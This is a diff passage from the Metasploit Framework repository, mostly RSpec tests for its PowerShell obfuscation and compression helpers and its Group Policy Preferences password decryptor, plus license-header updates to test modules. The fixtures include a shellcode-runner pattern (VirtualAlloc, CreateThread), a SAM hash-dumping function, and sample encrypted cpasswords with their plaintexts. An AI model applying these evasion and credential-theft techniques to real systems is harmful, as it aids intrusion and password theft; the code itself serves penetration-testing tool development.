subject_no_literal.code.should be
|
||||
subject_no_literal.code.should be_kind_of String
|
||||
subject_no_literal.code.include?('Find-4624Logons').should be_false
|
||||
subject_no_literal.code.include?('lots of whitespace').should be_true
|
||||
subject_no_literal.code.include?('$kernel32').should be_false
|
||||
subject_no_literal.code.include?('comment').should be_false
|
||||
res = (subject_no_literal.code =~ /\r\n\r\n/)
|
||||
res.should be_false
|
||||
end
|
||||
|
||||
it 'should run all substitutions except strip whitespace when literals are present' do
|
||||
subject.standard_subs
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('Find-4624Logons').should be_false
|
||||
subject.code.include?('lots of whitespace').should be_false
|
||||
subject.code.include?('$kernel32').should be_false
|
||||
subject.code.include?('comment').should be_false
|
||||
res = (subject.code =~ /\r\n\r\n/)
|
||||
res.should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,115 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:eof) do
|
||||
Rex::Text.rand_text_alpha(10)
|
||||
end
|
||||
|
||||
describe "::to_s" do
|
||||
it 'should print the script' do
|
||||
subject.to_s.should eq example_script
|
||||
end
|
||||
end
|
||||
|
||||
describe "::size" do
|
||||
it 'should return the size of the script' do
|
||||
subject.size.should eq example_script.size
|
||||
end
|
||||
end
|
||||
|
||||
describe "::to_s_lineno" do
|
||||
it 'should print the script with line numbers' do
|
||||
subject.to_s_lineno.should eq "0: #{example_script}"
|
||||
end
|
||||
end
|
||||
|
||||
describe "::deflate_code" do
|
||||
it 'should zlib the code and wrap in powershell in uncompression stub' do
|
||||
compressed = subject.deflate_code
|
||||
compressed.include?('IO.Compression.DeflateStream').should be_true
|
||||
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
|
||||
$1.size.should be < Rex::Text.encode_base64(example_script).size
|
||||
compressed.should eq subject.code
|
||||
end
|
||||
|
||||
it 'should append an eof marker if specified' do
|
||||
compressed = subject.deflate_code(eof)
|
||||
compressed.include?("echo '#{eof}';").should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::encode_code" do
|
||||
it 'should base64 encode the code' do
|
||||
encoded = subject.encode_code
|
||||
encoded.should eq subject.code
|
||||
encoded =~ /^([A-Za-z0-9\/+=]+)$/
|
||||
$1.size.should eq encoded.size
|
||||
end
|
||||
end
|
||||
|
||||
describe "::gzip_code" do
|
||||
it 'should gzip the code and wrap in powershell in uncompression stub' do
|
||||
compressed = subject.gzip_code
|
||||
compressed.include?('IO.Compression.GzipStream').should be_true
|
||||
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
|
||||
$1.size.should be < Rex::Text.encode_base64(example_script).size
|
||||
compressed.should eq subject.code
|
||||
end
|
||||
|
||||
it 'should append an eof marker if specified' do
|
||||
compressed = subject.gzip_code(eof)
|
||||
compressed.include?("echo '#{eof}';").should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::compress_code" do
|
||||
it 'should gzip by default' do
|
||||
compressed = subject.compress_code
|
||||
compressed.include?('IO.Compression.GzipStream').should be_true
|
||||
end
|
||||
|
||||
it 'should deflate if gzip is false' do
|
||||
compressed = subject.compress_code(nil,false)
|
||||
compressed.include?('IO.Compression.DeflateStream').should be_true
|
||||
end
|
||||
|
||||
it 'should append an eof' do
|
||||
compressed = subject.compress_code(eof)
|
||||
compressed.include?("echo '#{eof}';").should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::decompress_code" do
|
||||
it 'should locate the base64 string and decompress it when deflate is used' do
|
||||
compressed = subject.compress_code(nil, false)
|
||||
decompressed = subject.decompress_code
|
||||
decompressed.should eq example_script
|
||||
end
|
||||
|
||||
it 'should locate the base64 string and decompress it when gzip is used' do
|
||||
compressed = subject.compress_code
|
||||
decompressed = subject.decompress_code
|
||||
decompressed.should eq example_script
|
||||
end
|
||||
|
||||
it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do
|
||||
corrupted = "FromBase64String('parp')"
|
||||
subject.code = corrupted
|
||||
expect { subject.decompress_code }.to raise_error(RuntimeError)
|
||||
subject.code.should eq corrupted
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Param do
|
||||
|
||||
let(:param_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
let(:klass_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should create a param' do
|
||||
param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name)
|
||||
param.should be
|
||||
param.name.should eq param_name
|
||||
param.klass.should eq klass_name
|
||||
param.to_s.include?("[#{klass_name}]$#{param_name}").should be_true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,159 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Parser do
|
||||
|
||||
let(:example_script) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
$some_literal = @\"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace $kernel32 {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
\"@
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
$literal2 = @\"parp\"@
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::get_var_names" do
|
||||
it 'should return some variable names' do
|
||||
vars = subject.get_var_names
|
||||
vars.should be
|
||||
vars.should be_kind_of Array
|
||||
vars.length.should be > 0
|
||||
vars.include?('$ResultObj').should be_true
|
||||
end
|
||||
|
||||
it 'should not match upper or lowercase reserved names' do
|
||||
initial_vars = subject.get_var_names
|
||||
subject.code << "\r\n$SHELLID"
|
||||
subject.code << "\r\n$ShellId"
|
||||
subject.code << "\r\n$shellid"
|
||||
after_vars = subject.get_var_names
|
||||
initial_vars.should eq after_vars
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_func_names" do
|
||||
it 'should return some function names' do
|
||||
funcs = subject.get_func_names
|
||||
funcs.should be
|
||||
funcs.should be_kind_of Array
|
||||
funcs.length.should be > 0
|
||||
funcs.include?('Find-4624Logons').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_string_literals" do
|
||||
it 'should return some string literals' do
|
||||
literals = subject.get_string_literals
|
||||
literals.should be
|
||||
literals.should be_kind_of Array
|
||||
literals.length.should be > 0
|
||||
literals[0].include?('parp').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
describe "::scan_with_index" do
|
||||
it 'should scan code and return the items with an index' do
|
||||
scan = subject.scan_with_index('DllImport')
|
||||
scan.should be
|
||||
scan.should be_kind_of Array
|
||||
scan.length.should be > 0
|
||||
scan[0].should be_kind_of Array
|
||||
scan[0][0].should be_kind_of String
|
||||
scan[0][1].should be_kind_of Integer
|
||||
end
|
||||
end
|
||||
|
||||
describe "::match_start" do
|
||||
it 'should match the correct brackets' do
|
||||
subject.match_start('{').should eq '}'
|
||||
subject.match_start('(').should eq ')'
|
||||
subject.match_start('[').should eq ']'
|
||||
subject.match_start('<').should eq '>'
|
||||
expect { subject.match_start('p') }.to raise_exception(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
describe "::block_extract" do
|
||||
it 'should extract a block between brackets given an index' do
|
||||
idx = subject.code.index('{')
|
||||
block = subject.block_extract(idx)
|
||||
block.should be
|
||||
block.should be_kind_of String
|
||||
end
|
||||
|
||||
it 'should raise a runtime error if given an invalid index' do
|
||||
expect { subject.block_extract(nil) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(-1) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError)
|
||||
expect { subject.block_extract(59) }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
describe "::get_func" do
|
||||
it 'should extract a function from the code' do
|
||||
function = subject.get_func('Find-4624Logons')
|
||||
function.should be
|
||||
function.should be_kind_of Rex::Exploitation::Powershell::Function
|
||||
end
|
||||
|
||||
it 'should return nil if function doesnt exist' do
|
||||
function = subject.get_func(Rex::Text.rand_text_alpha(5))
|
||||
function.should be_nil
|
||||
end
|
||||
|
||||
it 'should delete the function if delete is true' do
|
||||
function = subject.get_func('Find-4624Logons', true)
|
||||
subject.code.include?('DllImport').should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::PshMethods do
|
||||
|
||||
describe "::download" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
|
||||
script.should be
|
||||
script.include?('WebClient').should be_true
|
||||
end
|
||||
end
|
||||
describe "::uninstall" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
|
||||
script.should be
|
||||
script.include?('Win32_Product').should be_true
|
||||
end
|
||||
end
|
||||
describe "::secure_string" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
|
||||
script.should be
|
||||
script.include?('AsPlainText').should be_true
|
||||
end
|
||||
end
|
||||
describe "::who_locked_file" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
|
||||
script.should be
|
||||
script.include?('Get-Process').should be_true
|
||||
end
|
||||
end
|
||||
describe "::get_last_login" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
|
||||
script.should be
|
||||
script.include?('Get-QADComputer').should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should create a new script object' do
|
||||
subject.should be
|
||||
subject.should be_kind_of Rex::Exploitation::Powershell::Script
|
||||
subject.rig.should be
|
||||
subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.empty?.should be_false
|
||||
subject.functions.empty?.should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::to_byte_array" do
|
||||
it 'should generate a powershell byte array' do
|
||||
byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
|
||||
byte_array.should be
|
||||
byte_array.should be_kind_of String
|
||||
byte_array.include?('[Byte[]] $').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::code_modifiers" do
|
||||
it 'should return an array of modifier methods' do
|
||||
mods = Rex::Exploitation::Powershell::Script.code_modifiers
|
||||
mods.should be
|
||||
mods.should be_kind_of Array
|
||||
mods.empty?.should be_false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell do
|
||||
|
||||
let(:example_script) do
|
||||
"""function DumpHashes
|
||||
{
|
||||
LoadApi
|
||||
$bootkey = Get-BootKey;
|
||||
$hbootKey = Get-HBootKey $bootkey;
|
||||
Get-UserKeys | %{
|
||||
$hashes = Get-UserHashes $_ $hBootKey;
|
||||
\"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid,
|
||||
[BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(),
|
||||
[BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower());
|
||||
}
|
||||
}
|
||||
DumpHashes"""
|
||||
end
|
||||
|
||||
describe "::read_script" do
|
||||
it 'should create a script from a string input' do
|
||||
script = described_class.read_script(example_script)
|
||||
script.should be_a_kind_of Rex::Exploitation::Powershell::Script
|
||||
end
|
||||
end
|
||||
|
||||
describe "::process_subs" do
|
||||
it 'should create an array of substitutions to process' do
|
||||
subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;")
|
||||
subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']]
|
||||
end
|
||||
end
|
||||
|
||||
describe "::make_subs" do
|
||||
it 'should substitute values in script' do
|
||||
script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
|
||||
script.include?('BitConverter').should be_false
|
||||
script.include?('ParpConverter').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
# encoding: binary
|
||||
require 'rex/parser/group_policy_preferences'
|
||||
|
||||
xml_group = '
|
||||
|
@ -76,75 +77,89 @@ xml_ms = '
|
|||
</Groups>
|
||||
'
|
||||
|
||||
# Win2k8 appears to append some junk padding in some cases
|
||||
cpassword_win2k8 = []
|
||||
# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7Bh
|
||||
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wEMON8tIIslS6707RU1F7BhTµkp', 'N3v3rGunnaG!veYo']
|
||||
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wGSwOI7Be//GJdxd5YYXUQHTµkp', 'N3v3rGunnaG!veYou']
|
||||
# Win2k8R2 - EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS
|
||||
cpassword_win2k8 << ['EqWFlA4kn2T6PHvGi09M7seHuqCYK/slkJWIl7mK+wFSuDccBEp/4l5EuKnwF0WS»YÂVAA', 'N3v3rGunnaG!veYouUp']
|
||||
cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
|
||||
cpassword_bad = "blah"
|
||||
|
||||
describe Rex::Parser::GPP do
|
||||
GPP = Rex::Parser::GPP
|
||||
|
||||
##
|
||||
# Decrypt
|
||||
##
|
||||
it "Decrypt returns Local*P4ssword! for normal cpassword" do
|
||||
result = GPP.decrypt(cpassword_normal)
|
||||
result.should eq("Local*P4ssword!")
|
||||
end
|
||||
GPP = Rex::Parser::GPP
|
||||
|
||||
##
|
||||
# Decrypt
|
||||
##
|
||||
it "Decrypt returns Local*P4ssword! for normal cpassword" do
|
||||
result = GPP.decrypt(cpassword_normal)
|
||||
result.should eq("Local*P4ssword!")
|
||||
end
|
||||
|
||||
it "Decrypt returns blank for bad cpassword" do
|
||||
result = GPP.decrypt(cpassword_bad)
|
||||
result.should eq("")
|
||||
end
|
||||
|
||||
it "Decrypt returns blank for nil cpassword" do
|
||||
result = GPP.decrypt(nil)
|
||||
result.should eq("")
|
||||
end
|
||||
it "Decrypt returns blank for bad cpassword" do
|
||||
result = GPP.decrypt(cpassword_bad)
|
||||
result.should eq("")
|
||||
end
|
||||
|
||||
it "Decrypt returns blank for nil cpassword" do
|
||||
result = GPP.decrypt(nil)
|
||||
result.should eq("")
|
||||
end
|
||||
|
||||
##
|
||||
# Parse
|
||||
##
|
||||
it 'Decrypts a cpassword containing junk padding' do
|
||||
cpassword_win2k8.each do |encrypted, expected|
|
||||
result = GPP.decrypt(encrypted)
|
||||
result.should eq(expected)
|
||||
end
|
||||
end
|
||||
|
||||
it "Parse returns empty [] for nil" do
|
||||
GPP.parse(nil).should be_empty
|
||||
end
|
||||
##
|
||||
# Parse
|
||||
##
|
||||
|
||||
it "Parse returns results for xml_ms and password is empty" do
|
||||
results = GPP.parse(xml_ms)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should be_empty
|
||||
end
|
||||
it "Parse returns empty [] for nil" do
|
||||
GPP.parse(nil).should be_empty
|
||||
end
|
||||
|
||||
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
|
||||
results = GPP.parse(xml_datasrc)
|
||||
results.should_not be_empty
|
||||
results[0].include?(:ATTRIBUTES).should be_true
|
||||
results[0][:ATTRIBUTES].should_not be_empty
|
||||
results[0][:PASS].should eq("test")
|
||||
end
|
||||
it "Parse returns results for xml_ms and password is empty" do
|
||||
results = GPP.parse(xml_ms)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should be_empty
|
||||
end
|
||||
|
||||
xmls = []
|
||||
xmls << xml_group
|
||||
xmls << xml_drive
|
||||
xmls << xml_schd
|
||||
xmls << xml_serv
|
||||
xmls << xml_datasrc
|
||||
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
|
||||
results = GPP.parse(xml_datasrc)
|
||||
results.should_not be_empty
|
||||
results[0].include?(:ATTRIBUTES).should be_true
|
||||
results[0][:ATTRIBUTES].should_not be_empty
|
||||
results[0][:PASS].should eq("test")
|
||||
end
|
||||
|
||||
it "Parse returns results for all good xmls and passwords" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should_not be_empty
|
||||
end
|
||||
end
|
||||
xmls = []
|
||||
xmls << xml_group
|
||||
xmls << xml_drive
|
||||
xmls << xml_schd
|
||||
xmls << xml_serv
|
||||
xmls << xml_datasrc
|
||||
|
||||
##
|
||||
# Create_Tables
|
||||
##
|
||||
it "Create_tables returns tables for all good xmls" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
tables = GPP.create_tables(results, "test")
|
||||
tables.should_not be_empty
|
||||
end
|
||||
end
|
||||
it "Parse returns results for all good xmls and passwords" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
results.should_not be_empty
|
||||
results[0][:PASS].should_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# Create_Tables
|
||||
##
|
||||
it "Create_tables returns tables for all good xmls" do
|
||||
xmls.each do |xml|
|
||||
results = GPP.parse(xml)
|
||||
tables = GPP.create_tables(results, "test")
|
||||
tables.should_not be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Network Capture Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module sniffs HTTP GET requests from the network',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Ethernet Frame Spoofer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module sends spoofed ethernet frames',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -18,7 +12,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'FTP Client Exploit Mixin DATA test Exploit',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.',
|
||||
'Author' => [ 'Thomas Ring', 'jduck' ],
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple IP Spoofing Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Simple IP Spoofing Tester',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -21,7 +15,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Recon Module Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Simple Recon Module Tester',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Recon Module Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Simple Recon Module Tester',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Recon Module Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Simple Recon Module Tester',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
@ -20,7 +14,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Simple Recon Module Tester',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Simple Recon Module Tester',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"This module tests the exploitation of a test service.",
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Arch' => 'x86',
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
